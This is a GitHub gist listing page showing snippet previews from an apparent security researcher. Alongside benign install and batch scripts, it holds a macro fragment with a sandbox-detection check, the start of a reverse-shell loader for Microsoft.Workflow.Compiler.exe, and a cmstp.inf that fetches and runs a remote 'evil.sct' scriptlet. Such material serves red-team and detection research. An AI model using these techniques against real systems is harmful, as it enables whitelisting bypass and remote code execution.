Skip to content

Instantly share code, notes, and snippets.

View fareedfauzi's full-sized avatar
🎯
Focusing

fareedfauzi

🎯
Focusing
View GitHub Profile
'Blogpost: notes.netbytesec.com
Global img1
Global randArrIndex11
Global img115
Function st()
img1 = Array("cartoon", "img", "photo")
randArrIndex11 = Int((UBound(img1) + 1) * Rnd)
img115 = img1(randArrIndex11)
ddfdsfdsfdww
Dim str55
'Blogpost: notes.netbytesec.com
Private Sub Document_Open()
Dim i As Integer
Dim str As String
i = 0
Set WMI = GetObject("WinMgmts:")
For Each obj In WMI.InstancesOf("Win32_PhysicalMedia")
If obj.SerialNumber <> "" Then i = i + 1
Next
If i = 0 Then
@fareedfauzi
fareedfauzi / Install-Assembly-Line.sh
Last active October 2, 2020 17:29
Script to install Assembly Line
#!/bin/bash
echo "
To install AssemblyLine you need to meet this requirements:
Any linux distribution with a recent kernel (4.4+)
4 Cores
8 GB of Ram
40 GB of disk space
"
start notepad.exe
@fareedfauzi
fareedfauzi / rev.txt
Created January 2, 2020 03:57
rev.txt for Microsoft.Workflow.Compiler.exe
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>Rev.Shell</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
@fareedfauzi
fareedfauzi / rev.shell
Created January 2, 2020 03:56
reverse shell for Microsoft.Workflow.Compiler.exe
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities;
public class Program : SequentialWorkflowActivity
@fareedfauzi
fareedfauzi / HelloWorld.ps1
Created December 30, 2019 05:22
ps1 file
Write-Output "Hello World"
@fareedfauzi
fareedfauzi / open_with.bat
Last active December 29, 2019 04:37
Batch file to make a program can be "Open with" when we right click on it.
@echo off
echo ====================================================
echo Example of usage... :)
echo Enter executable path: C:\Program Files\HxD\HxD.exe
echo Enter your program's name: HxD
echo ====================================================
echo.
set /p exepath=Enter executable path:
set /p programName=Enter your program's name:
@fareedfauzi
fareedfauzi / cmstp.inf
Last active March 21, 2020 07:30
INF file for cmstp
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,https://gist.githubusercontent.com/fareedfauzi/17705115ffad1d66af5fbbdb0afbca41/raw/e483189823cde37294fd212ce6b552f533158032/evil.sct
@fareedfauzi
fareedfauzi / poc.vbs
Last active December 26, 2019 15:36
VBS file
MsgBox "Bypassed!"